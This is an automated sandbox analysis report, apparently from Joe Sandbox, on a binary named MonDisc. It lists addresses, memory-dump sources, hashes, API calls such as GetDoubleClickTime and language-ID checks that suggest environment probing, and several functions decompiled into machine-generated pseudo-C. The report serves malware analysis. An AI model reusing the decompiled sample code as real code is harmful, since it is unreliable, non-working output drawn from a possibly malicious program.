0x7ff6ed0f65da
0x7ff6ed0f65e2
0x7ff6ed0f65e9
0x7ff6ed0f65f7
0x7ff6ed0f6600
0x7ff6ed0f6602
0x7ff6ed0f660d
0x7ff6ed0f6617
0x7ff6ed0f661e
0x7ff6ed0f6624
0x7ff6ed0f6627
0x7ff6ed0f662b
0x7ff6ed0f6631
0x7ff6ed0f6639
0x7ff6ed0f6644
0x7ff6ed0f6647
0x7ff6ed0f6649
0x7ff6ed0f6650
0x7ff6ed0f6658
0x7ff6ed0f6665
0x7ff6ed0f666b
0x7ff6ed0f6671
0x7ff6ed0f6673
0x7ff6ed0f667b
0x7ff6ed0f6686
0x7ff6ed0f6689
0x7ff6ed0f668b
0x7ff6ed0f6693
0x7ff6ed0f66a0
0x7ff6ed0f66a6
0x7ff6ed0f66ac
0x7ff6ed0f66b2
0x7ff6ed0f66ba
0x7ff6ed0f66c0
0x7ff6ed0f66c3
0x7ff6ed0f66cb
0x7ff6ed0f66e1
0x7ff6ed0f66e6
0x7ff6ed0f66ec
0x7ff6ed0f66f4
0x7ff6ed0f66fc
0x7ff6ed0f6707
0x7ff6ed0f670d
0x7ff6ed0f6713
0x7ff6ed0f671b
0x7ff6ed0f671e
0x7ff6ed0f6724
0x7ff6ed0f672c
0x7ff6ed0f6737
0x7ff6ed0f673b
0x7ff6ed0f673f
0x7ff6ed0f6747
0x7ff6ed0f6749
0x7ff6ed0f674f
0x7ff6ed0f6757
0x7ff6ed0f6762
0x7ff6ed0f6768
0x7ff6ed0f676c
0x7ff6ed0f6777
0x7ff6ed0f6779
0x7ff6ed0f6781
0x7ff6ed0f678c
0x7ff6ed0f6790
0x7ff6ed0f6794
0x7ff6ed0f6798
0x7ff6ed0f67a0
0x7ff6ed0f67ab
0x7ff6ed0f67af
0x7ff6ed0f67b3
0x7ff6ed0f67b7
0x7ff6ed0f67b9
0x7ff6ed0f67be
0x7ff6ed0f67c2
0x7ff6ed0f67ce
0x7ff6ed0f67d4
0x7ff6ed0f67dc
0x7ff6ed0f67ea
0x7ff6ed0f67f0
0x7ff6ed0f67f8
0x7ff6ed0f6800
0x7ff6ed0f6806
0x7ff6ed0f680e
0x7ff6ed0f6819
0x7ff6ed0f681c
0x7ff6ed0f681e
0x7ff6ed0f6826
0x7ff6ed0f6831
0x7ff6ed0f6834
0x7ff6ed0f6836
0x7ff6ed0f683e
0x7ff6ed0f684b
0x7ff6ed0f6851
0x7ff6ed0f6857
0x7ff6ed0f685f
0x7ff6ed0f686c
0x7ff6ed0f6872
0x7ff6ed0f687e
0x7ff6ed0f6884
0x7ff6ed0f688c
0x7ff6ed0f6897
0x7ff6ed0f689a
0x7ff6ed0f68a2
0x7ff6ed0f68aa
0x7ff6ed0f68b0
0x7ff6ed0f68b7
0x7ff6ed0f68bd
0x7ff6ed0f68c3
0x7ff6ed0f68cd
0x7ff6ed0f68d3
0x7ff6ed0f68db
0x7ff6ed0f68e1
0x7ff6ed0f68e9
0x7ff6ed0f68f4
0x7ff6ed0f68fc
0x7ff6ed0f6900
0x7ff6ed0f6904
0x7ff6ed0f6908
0x7ff6ed0f690a
0x7ff6ed0f6912
0x7ff6ed0f691d
0x7ff6ed0f6923
0x7ff6ed0f6927
0x7ff6ed0f692e
0x7ff6ed0f6930
0x7ff6ed0f6938
0x7ff6ed0f6943
0x7ff6ed0f694b
0x7ff6ed0f694f
0x7ff6ed0f6953
0x7ff6ed0f6957
0x7ff6ed0f6959
0x7ff6ed0f695f
0x7ff6ed0f6967
0x7ff6ed0f6972
0x7ff6ed0f6978
0x7ff6ed0f697c
0x7ff6ed0f6983
0x7ff6ed0f6989
0x7ff6ed0f6990
0x7ff6ed0f6993
0x7ff6ed0f69a1
0x7ff6ed0f69a8
0x7ff6ed0f69b2
0x7ff6ed0f69c5
0x7ff6ed0f69d7

APIs

GetDesktopWindow.USER32 ref: 00007FF6ED0F63BA
GetDoubleClickTime.USER32 ref: 00007FF6ED0F6476
GetSystemDefaultLangID.KERNEL32 ref: 00007FF6ED0F647E
GetDoubleClickTime.USER32 ref: 00007FF6ED0F64AD
GetDoubleClickTime.USER32 ref: 00007FF6ED0F6509

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: ClickDoubleTime$DefaultDesktopLangSystemWindow
String ID:
API String ID: 146177575-0
Opcode ID: 1ab11c2d80e92e67c8a4e12a9d8885586669eec9125ded3814e100798d82fbde
Instruction ID: 8625f30932657b2c37ebf4aa57429911804a9e48251e089146a4cbe70c09db21
Opcode Fuzzy Hash: 1ab11c2d80e92e67c8a4e12a9d8885586669eec9125ded3814e100798d82fbde
Instruction Fuzzy Hash: ACC11CA7D2CA034AF6006F34A90A3B922A57F14745F680939D50AD36A6FF3FF145861F

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF706570153 Relevance: 20.1, Strings: 9, Instructions: 8893COMMON

Download Yara Rule

Strings

?, xrefs: 00007FF70657AB6E
@-}@, xrefs: 00007FF706574696
, xrefs: 00007FF706579D88
p,}@, xrefs: 00007FF706573290
&}@, xrefs: 00007FF706573CCA
&}@, xrefs: 00007FF70657395D
p,}@, xrefs: 00007FF706573744
X?}@, xrefs: 00007FF70657A376
@-}@, xrefs: 00007FF706577A8C

Memory Dump Source

Source File: 0000000F.00000003.444722414.00007FF706570000.00000020.00001000.00020000.00000000.sdmp, Offset: 00007FF706570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_3_7ff706570000_MonDisc.jbxd

Similarity

API ID:
String ID: $?$@-}@$@-}@$X?}@$p,}@$p,}@$&}@$&}@
API String ID: 0-89729771
Opcode ID: 23f92f5f285a4244808a3638e63a9ba3e6344b520fabf5992910fdbc2d30492a
Instruction ID: d86d558dac1ab0bd7ecc05e19b2a9b6f1398cf6358c9455dc5dee0ac435ad121
Opcode Fuzzy Hash: 23f92f5f285a4244808a3638e63a9ba3e6344b520fabf5992910fdbc2d30492a
Instruction Fuzzy Hash: AFF36171814F4B8AD7A5DF28CC846A1F3A0FF19330F9483B4C8AE9A5D2DB7465C68791

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF706574EB8 Relevance: 3.4, Strings: 2, Instructions: 866COMMON

Download Yara Rule

Strings

?, xrefs: 00007FF70657AB6E
B, xrefs: 00007FF706574EE0

Memory Dump Source

Source File: 0000000F.00000003.444722414.00007FF706570000.00000020.00001000.00020000.00000000.sdmp, Offset: 00007FF706570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_3_7ff706570000_MonDisc.jbxd

Similarity

API ID:
String ID: ?$B
API String ID: 0-3108813477
Opcode ID: 6304a5a2d274ab25fa3295f6bcbd3d39f9c7ba61c347a595f829c2f1391a33fe
Instruction ID: 21422690f4c920aadb77f80f2da14002f3f76f1519fb8c15e11a320c232d2360
Opcode Fuzzy Hash: 6304a5a2d274ab25fa3295f6bcbd3d39f9c7ba61c347a595f829c2f1391a33fe
Instruction Fuzzy Hash: EE72A470814B0B8AD6A9DF28CC446A1F3A0FF19330FD48378D8BE965D2DB3466978795

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70657C5E0 Relevance: 1.2, Instructions: 1203COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000003.444722414.00007FF706570000.00000020.00001000.00020000.00000000.sdmp, Offset: 00007FF706570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_3_7ff706570000_MonDisc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11c8fbc1c8b6ea8d31612be93b053dc5fafd2cd236049324af2755e209b71e47
Instruction ID: d292335d126a384262b77b1430233690be0d531189ddb5ba68c5c9504de03ab9
Opcode Fuzzy Hash: 11c8fbc1c8b6ea8d31612be93b053dc5fafd2cd236049324af2755e209b71e47
Instruction Fuzzy Hash: 0992F571C18A1A4ADB55EF28DC947A6F3D0FF18310F9443B5D88EAB0C6DF7479828691

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED1503F0 Relevance: .2, Instructions: 221
COMMONCrypto

Download Yara Rule

C-Code - Quality: 80%

			E00007FF67FF6ED1503F0(long long __rbx, signed long long __rcx, long long __rsi, void* __r12) {
				void* __rdi;
				void* __r14;
				void* __r15;
				signed char _t76;
				signed int _t94;
				signed char _t98;
				signed int _t100;
				signed int _t120;
				intOrPtr _t140;
				signed char* _t145;
				intOrPtr _t146;
				intOrPtr _t148;
				signed long long _t153;
				signed long long _t156;
				signed long long _t158;
				signed long long _t162;
				signed long long _t165;
				unsigned long long _t166;
				signed long long _t169;
				long long _t171;
				unsigned long long _t173;
				signed long long _t174;
				long long _t176;
				void* _t179;
				void* _t180;
				intOrPtr _t182;
				signed long long _t186;
				void* _t187;
				signed long long _t191;
				void* _t193;

				_t171 = __rsi;
				 *((long long*)(_t179 + 0x10)) = __rbx;
				 *((long long*)(_t179 + 0x18)) = _t176;
				_push(_t169);
				_t180 = _t179 - 0x30;
				_t182 =  *((intOrPtr*)(__rcx + 0x110));
				_t153 = __rcx;
				r15d = 0;
				r14d =  *(_t182 + 0xa) & 0x0000ffff;
				_t140 =  *((intOrPtr*)(_t182 + 0x30));
				r14d = r14d - 1;
				_t165 = _t191 + _t191 * 2;
				_t177 = _t140 + _t165 * 4;
				_t120 =  *(_t140 + 0xa + _t165 * 4) & 0x000000ff;
				if (_t120 == 0) goto 0xed150453;
				asm("bt edi, 0x10");
				if (_t120 < 0) goto 0xed150478;
				if (__rcx - 1 != 0) goto 0xed150440;
				_t156 = __rcx;
				 *(__rcx + 0x104) =  *(_t140 + _t165 * 4 + 9) & 0x000000ff;
				if ( *((intOrPtr*)(__rcx + 0x80)) -  *((intOrPtr*)(__rcx + 0x88)) < 0) goto 0xed15068e;
				goto 0xed150485;
				r15d = 1;
				goto 0xed150455;
				r8d = 4;
				E00007FF67FF6ED153050(0x8000,  *((intOrPtr*)(__rcx + 0x80)) -  *((intOrPtr*)(__rcx + 0x88)), __rcx, __rcx, _t169, __rsi);
				_t166 =  *((intOrPtr*)(_t153 + 0x110));
				if ( *((short*)(_t166 + 0x6a)) != 0) goto 0xed1505b7;
				 *((long long*)(_t180 + 0x50)) = _t171;
				_t173 =  *( *((intOrPtr*)(_t166 + 0x38)) + _t156 * 4) >> 8;
				if ( *_t173 != 0x57) goto 0xed1504f1;
				_t174 =  <=  ?  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t153 + 0x98)) + 0x180)) + (_t166 >> 0x10) * 8)) + 0x50 : _t173;
				_t186 = _t174;
				_t158 = _t153;
				E00007FF67FF6ED1519B0(6, _t158, _t186);
				_t76 =  *_t174;
				r8d = _t76;
				r9d = _t76;
				r8d = r8d >> 8;
				r9d = r9d >> 0x10;
				_t94 = _t76 & 0x000000ff;
				if (_t94 == 0x3f) goto 0xed15055c;
				if ((_t158 - 0x00000041 & 0xfffffffd) == 0) goto 0xed150547;
				if (_t94 == 0x49) goto 0xed15053e;
				if (_t94 - 0x59 >= 0) goto 0xed150562;
				goto 0xed150566;
				goto 0xed150560;
				goto 0xed150562;
				if (0 + 0xfffffffe - (r9b & 0xffffffff) - (r8b & 0xffffffff) - (r8b & 0xffffffff) != 0) goto 0xed15059c;
				_t145 =  *((intOrPtr*)(_t153 + 0x80));
				_t98 =  *_t145 & 0x000000ff;
				if (_t98 != 0xf) goto 0xed15057f;
				if ((_t145[1] & 0xf0) == 0x80) goto 0xed15059c;
				if ((_t98 & 0x000000f0) == 0x70) goto 0xed15059c;
				r9d = 0;
				r8d = 0;
				E00007FF67FF6ED152330(0x330000fe, _t153, _t153, _t186, _t187);
				goto 0xed1505dc;
				_t146 =  *((intOrPtr*)(_t153 + 0x80));
				 *((char*)(_t146 - 5)) = 0xb8;
				 *((intOrPtr*)(_t146 - 4)) = 0x330000fe;
				 *((long long*)(_t153 + 0x80)) = _t146 + 0xfffffffb;
				goto 0xed1505dc;
				if (0xbadbac == 0) goto 0xed1505dc;
				r8d = 0x80202;
				E00007FF67FF6ED151EA0(0x890000fe, _t153, _t153, _t177,  *((intOrPtr*)(_t153 + 0x98)) - 0x160, _t193);
				r9d = _t169 * 8;
				if (r9d == 0) goto 0xed1505fc;
				r8d = 0x80202;
				E00007FF67FF6ED151600(0x838100, _t153);
				_t148 =  *((intOrPtr*)(_t153 + 0x98));
				_t100 =  *(_t148 + 0x190) & 0x0000ffff;
				if (_t100 == 0) goto 0xed15063c;
				r8d = _t100;
				_t162 =  *((intOrPtr*)(_t153 + 0x90));
				 *((long long*)(_t162 + 8 + _t186 * 8)) =  *((intOrPtr*)(_t148 + 0x78));
				 *((char*)( *((intOrPtr*)(_t153 + 0x90)) + 5 + _t162 * 8)) = 0x18;
				E00007FF67FF6ED14FC10(_t153, _t177, _t169,  *((intOrPtr*)(_t180 + 0x50)), _t186, __r12, _t191, _t193); // executed
				if ( *((long long*)(_t153 + 0x118)) != 0) goto 0xed15067a;
				if (r15d == 0) goto 0xed15067a;
				r9d =  *(_t153 + 0xa8);
				r8d = 0;
				r9d = r9d & 0x0000ffe7;
				 *(_t180 + 0x20) = r14d;
				return E00007FF67FF6ED14FA90( *((intOrPtr*)(_t153 + 0x104)), _t153, _t153, _t177,  *((intOrPtr*)(_t180 + 0x50)), _t177, _t186, _t193, _t191);
			}

0x7ff6ed1503f0
0x7ff6ed1503f0
0x7ff6ed1503f5
0x7ff6ed1503fa
0x7ff6ed1503ff
0x7ff6ed150403
0x7ff6ed15040a
0x7ff6ed15040d
0x7ff6ed150410
0x7ff6ed150415
0x7ff6ed150419
0x7ff6ed15041c
0x7ff6ed150425
0x7ff6ed150434
0x7ff6ed150436
0x7ff6ed150449
0x7ff6ed15044d
0x7ff6ed150451
0x7ff6ed150459
0x7ff6ed15045c
0x7ff6ed150470
0x7ff6ed150476
0x7ff6ed15047b
0x7ff6ed150483
0x7ff6ed15048a
0x7ff6ed150490
0x7ff6ed150495
0x7ff6ed1504a1
0x7ff6ed1504b2
0x7ff6ed1504bb
0x7ff6ed1504c3
0x7ff6ed1504ed
0x7ff6ed1504f1
0x7ff6ed1504f9
0x7ff6ed1504fc
0x7ff6ed150501
0x7ff6ed150503
0x7ff6ed15050a
0x7ff6ed150516
0x7ff6ed15051a
0x7ff6ed15051e
0x7ff6ed150524
0x7ff6ed15052e
0x7ff6ed150533
0x7ff6ed150538
0x7ff6ed15053c
0x7ff6ed150545
0x7ff6ed15055a
0x7ff6ed150564
0x7ff6ed150566
0x7ff6ed15056d
0x7ff6ed150573
0x7ff6ed15057d
0x7ff6ed150585
0x7ff6ed150587
0x7ff6ed15058a
0x7ff6ed150595
0x7ff6ed15059a
0x7ff6ed15059c
0x7ff6ed1505a3
0x7ff6ed1505a7
0x7ff6ed1505ae
0x7ff6ed1505b5
0x7ff6ed1505b9
0x7ff6ed1505ce
0x7ff6ed1505d7
0x7ff6ed1505dc
0x7ff6ed1505e7
0x7ff6ed1505ee
0x7ff6ed1505f7
0x7ff6ed1505fc
0x7ff6ed150603
0x7ff6ed15060d
0x7ff6ed150613
0x7ff6ed150616
0x7ff6ed15061d
0x7ff6ed150637
0x7ff6ed150642
0x7ff6ed15064f
0x7ff6ed150654
0x7ff6ed150656
0x7ff6ed15065d
0x7ff6ed150666
0x7ff6ed150670
0x7ff6ed15068d

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59885ccbd693bbcf12b4ddf785e3c8efe5a20835e2688464c4ccdeb8414e98b6
Instruction ID: 798da3e71721f57492e42dac05d2f75f4bd977a1a743df218d28f0503cc89460
Opcode Fuzzy Hash: 59885ccbd693bbcf12b4ddf785e3c8efe5a20835e2688464c4ccdeb8414e98b6
Instruction Fuzzy Hash: A3911233A14A8386EB508F69D4107F93791FB85B94F088139DE5E8B795EE3DD0418705

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED10C120 Relevance: .2, Instructions: 177
COMMONCrypto

Download Yara Rule

C-Code - Quality: 71%

			E00007FF67FF6ED10C120(void* __eax, long long __rbx, signed int __rcx, void* __rdx, signed int* __r8, void* __r9, void* __r11) {
				void* _t61;
				void* _t73;
				intOrPtr _t75;
				intOrPtr _t78;
				void* _t79;
				void* _t95;
				void* _t96;
				void* _t104;
				signed long long _t107;
				void* _t120;
				void* _t122;
				void* _t125;
				void* _t132;
				signed long long _t133;

				_t135 = __r8;
				_t120 = __rdx;
				 *((long long*)(_t132 + 0x20)) = __rbx;
				_push(_t125);
				_t133 = _t132 - 0xa0;
				_t107 =  *0xed2361d8; // 0x3623d5dd24d9
				 *(_t133 + 0x90) = _t107 ^ _t133;
				_t78 =  *((intOrPtr*)(__rdx + 0x30));
				asm("xorps xmm0, xmm0");
				asm("movups [esp+0x20], xmm0");
				asm("movups [esp+0x30], xmm0");
				asm("movups [esp+0x40], xmm0");
				asm("movups [esp+0x50], xmm0");
				asm("movups [esp+0x60], xmm0");
				asm("movups [esp+0x70], xmm0");
				asm("movups [esp+0x80], xmm0");
				if (_t78 != 0) goto 0xed10c182;
				goto 0xed10c1e7;
				r11d = 0;
				r9d = 0;
				r8d = 2;
				r8d = r8d << r11d;
				if (r8d - _t78 < 0) goto 0xed10c1aa;
				r8d = _t125 - 1;
				if (r9d - r8d > 0) goto 0xed10c1e7;
				if (r9d - r8d > 0) goto 0xed10c1d5;
				asm("o16 nop [eax+eax]");
				_t9 = _t120 + 1; // 0x1
				_t67 =  ==  ? 0 : _t9;
				r9d = r9d + 1;
				_t73 =  ==  ? 0 : _t9;
				if (r9d - r8d <= 0) goto 0xed10c1c0;
				 *((intOrPtr*)(_t133 + 0x20)) =  *((intOrPtr*)(_t133 + 0x20)) + _t73;
				r11d = r11d + 1;
				if (r11d - 0x1c < 0) goto 0xed10c190;
				r8d = 0;
				r11d =  *(__rdx + 0x34);
				r10d = 0;
				_t122 =  *((intOrPtr*)(__rdx + 0x28)) + 8;
				r11d = r11d + 1;
				_t12 =  &(_t135[0]); // 0x1
				r9d = _t12;
				if ( *((long long*)(_t122 - 8)) == 0xffffffff) goto 0xed10c258;
				if (__eax - 0xfffffff2 >= 0) goto 0xed10c250;
				asm("movsd xmm1, [edx]");
				asm("cvttsd2si eax, xmm1");
				_t95 = __eax - 0x8000001;
				if (_t95 >= 0) goto 0xed10c250;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm1, xmm0");
				if (_t95 != 0) goto 0xed10c250;
				if (_t95 != 0) goto 0xed10c250;
				_t96 = __eax - 2;
				if (_t96 <= 0) goto 0xed10c245;
				asm("bsr ecx, eax");
				 *((intOrPtr*)(_t133 + 0x20 + __rcx * 4)) =  *((intOrPtr*)(_t133 + 0x20 + __rcx * 4)) + 1;
				goto 0xed10c252;
				 *((intOrPtr*)(_t133 + 0x20 + __rcx * 4)) =  *((intOrPtr*)(_t133 + 0x20 + __rcx * 4)) + 1;
				goto 0xed10c252;
				r8d = r8d;
				r10d = r10d + 1;
				if (_t96 != 0) goto 0xed10c200;
				if (0 - 0xfffffff2 >= 0) goto 0xed10c2b4;
				asm("repne inc ecx");
				asm("cvttsd2si eax, xmm1");
				if (0 - 0x8000001 >= 0) goto 0xed10c2b4;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm1, xmm0");
				if (0 != 0x8000001) goto 0xed10c2b4;
				if (0 != 0x8000001) goto 0xed10c2b4;
				if (0 - 2 <= 0) goto 0xed10c2a9;
				asm("bsr ecx, eax");
				 *((intOrPtr*)(_t133 + 0x20 + __rcx * 4)) =  *((intOrPtr*)(_t133 + 0x20 + __rcx * 4)) + 1;
				goto 0xed10c2b6;
				 *((intOrPtr*)(_t133 + 0x20 + __rcx * 4)) =  *((intOrPtr*)(_t133 + 0x20 + __rcx * 4)) + 1;
				goto 0xed10c2b6;
				r11d = ( *__r8 >> 0x2f) + _t122 + 0x18;
				_t79 = __r11 - __r9 + __r11 - __r9;
				r10d = 0;
				r8d = 0;
				if (_t79 - r9d <= 0) goto 0xed10c307;
				if (r8d == r11d) goto 0xed10c307;
				_t75 =  *((intOrPtr*)(_t133 + 0x20 + __rcx * 4));
				if (_t75 == 0) goto 0xed10c2fc;
				r8d = r8d + _t75;
				if (__r8 + __r8 - r9d << 0 <= 0) goto 0xed10c2fc;
				r10d = 2;
				r10d = r10d << 0;
				r10d = r10d + 1;
				_t104 = _t79 - r9d << 1;
				if (_t104 > 0) goto 0xed10c2d0;
				if (_t104 == 0) goto 0xed10c31c;
				if (0 + _t73 + 1 + r10d - r8d == r9d) goto 0xed10c31f;
				asm("inc esp");
				r9d = r9d + 1;
				goto 0xed10c31f;
				r9d = 0;
				r8d = r10d;
				_t61 = E00007FF67FF6ED10BA90( *((intOrPtr*)(__rdx + 0x10)), __rcx, __rdx, __r8); // executed
				return E00007FF67FF6ED173DE0(_t61, 1,  *(_t133 + 0x90) ^ _t133);
			}

0x7ff6ed10c120
0x7ff6ed10c120
0x7ff6ed10c120
0x7ff6ed10c127
0x7ff6ed10c12c
0x7ff6ed10c133
0x7ff6ed10c13d
0x7ff6ed10c145
0x7ff6ed10c148
0x7ff6ed10c154
0x7ff6ed10c159
0x7ff6ed10c15e
0x7ff6ed10c163
0x7ff6ed10c168
0x7ff6ed10c16d
0x7ff6ed10c172
0x7ff6ed10c17c
0x7ff6ed10c180
0x7ff6ed10c182
0x7ff6ed10c18a
0x7ff6ed10c193
0x7ff6ed10c199
0x7ff6ed10c19f
0x7ff6ed10c1a1
0x7ff6ed10c1a8
0x7ff6ed10c1b3
0x7ff6ed10c1b5
0x7ff6ed10c1c5
0x7ff6ed10c1c8
0x7ff6ed10c1cb
0x7ff6ed10c1ce
0x7ff6ed10c1d3
0x7ff6ed10c1d5
0x7ff6ed10c1de
0x7ff6ed10c1e5
0x7ff6ed10c1eb
0x7ff6ed10c1ee
0x7ff6ed10c1f2
0x7ff6ed10c1f5
0x7ff6ed10c1f9
0x7ff6ed10c1fc
0x7ff6ed10c1fc
0x7ff6ed10c205
0x7ff6ed10c211
0x7ff6ed10c213
0x7ff6ed10c217
0x7ff6ed10c21b
0x7ff6ed10c220
0x7ff6ed10c222
0x7ff6ed10c226
0x7ff6ed10c22a
0x7ff6ed10c22e
0x7ff6ed10c230
0x7ff6ed10c232
0x7ff6ed10c235
0x7ff6ed10c239
0x7ff6ed10c23f
0x7ff6ed10c243
0x7ff6ed10c24a
0x7ff6ed10c24e
0x7ff6ed10c252
0x7ff6ed10c255
0x7ff6ed10c25f
0x7ff6ed10c274
0x7ff6ed10c276
0x7ff6ed10c27b
0x7ff6ed10c284
0x7ff6ed10c286
0x7ff6ed10c28a
0x7ff6ed10c28e
0x7ff6ed10c292
0x7ff6ed10c294
0x7ff6ed10c299
0x7ff6ed10c29d
0x7ff6ed10c2a3
0x7ff6ed10c2a7
0x7ff6ed10c2ae
0x7ff6ed10c2b2
0x7ff6ed10c2b6
0x7ff6ed10c2bc
0x7ff6ed10c2c0
0x7ff6ed10c2c5
0x7ff6ed10c2cb
0x7ff6ed10c2d3
0x7ff6ed10c2d5
0x7ff6ed10c2db
0x7ff6ed10c2dd
0x7ff6ed10c2eb
0x7ff6ed10c2ed
0x7ff6ed10c2f6
0x7ff6ed10c2f9
0x7ff6ed10c303
0x7ff6ed10c305
0x7ff6ed10c309
0x7ff6ed10c30e
0x7ff6ed10c313
0x7ff6ed10c317
0x7ff6ed10c31a
0x7ff6ed10c31c
0x7ff6ed10c31f
0x7ff6ed10c328
0x7ff6ed10c353

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 832198fcd25f0298d970e9d27c0a6b9c83eaa1211524edb6f3281053abebb1c9
Instruction ID: 3df0f1eecf7e18ec9c9888e03866248568b4a159a255613d3c37b380d7c1b507
Opcode Fuzzy Hash: 832198fcd25f0298d970e9d27c0a6b9c83eaa1211524edb6f3281053abebb1c9
Instruction Fuzzy Hash: 67516933E1815387E7619A649000BBA6252FB997D8F109331EA5ED3DC4FF3BE8918E45

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED0FA34C Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 196
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 65%

			E00007FF67FF6ED0FA34C(void* __eax, signed int __ebx, signed int __edi, void* __eflags, signed int _a144, intOrPtr _a152) {
				signed int _t25;
				signed int _t35;
				signed int _t39;
				signed int _t45;
				signed int _t51;
				signed int _t56;
				signed int _t72;
				signed int _t77;
				signed int _t83;
				signed int _t88;
				signed int _t94;
				struct HINSTANCE__* _t99;
				void* _t117;
				void* _t123;
				void* _t124;
				void* _t126;
				void* _t127;
				void* _t128;
				void* _t129;
				void* _t130;
				void* _t131;
				void* _t132;
				void* _t134;
				void* _t138;
				void* _t139;
				void* _t145;
				void* _t151;

				_t117 = __eflags;
				asm("movsd xmm6, [0x10f785]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				E00007FF67FF6ED184484(_t138);
				if (_t117 >= 0) goto 0xed0fa374;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xed236f60 = 0 | _t117 >= 0x00000000;
				 *0xed236f60 = __edi;
				_t25 = E00007FF67FF6ED184484(_t138);
				if (_t117 >= 0) goto 0xed0fa3a2;
				if (((_t25 & r15d) - __ebx | r13d) + __ebx - 0x53 >= 0) goto 0xed0fa3e1;
				sil = 0x69;
				dil = 0x1e;
				GetUserDefaultLangID();
				dil = dil + __ebx;
				 *0xed236f60 = __ebx;
				 *0xed236f60 = dil & 0xffffffff;
				if (dil - 0x2f < 0) goto 0xed0fa3ad;
				sil = sil + __ebx;
				 *0xed236f60 = sil & 0xffffffff;
				if (sil - 0x6f < 0) goto 0xed0fa3aa;
				goto 0xed0fa40d;
				dil = 0x39;
				dil = dil + __ebx;
				 *0xed236f60 = dil & 0xffffffff;
				_t35 = E00007FF67FF6ED184484(_t138) & r15d;
				if (_t35 >= 0) goto 0xed0fa402;
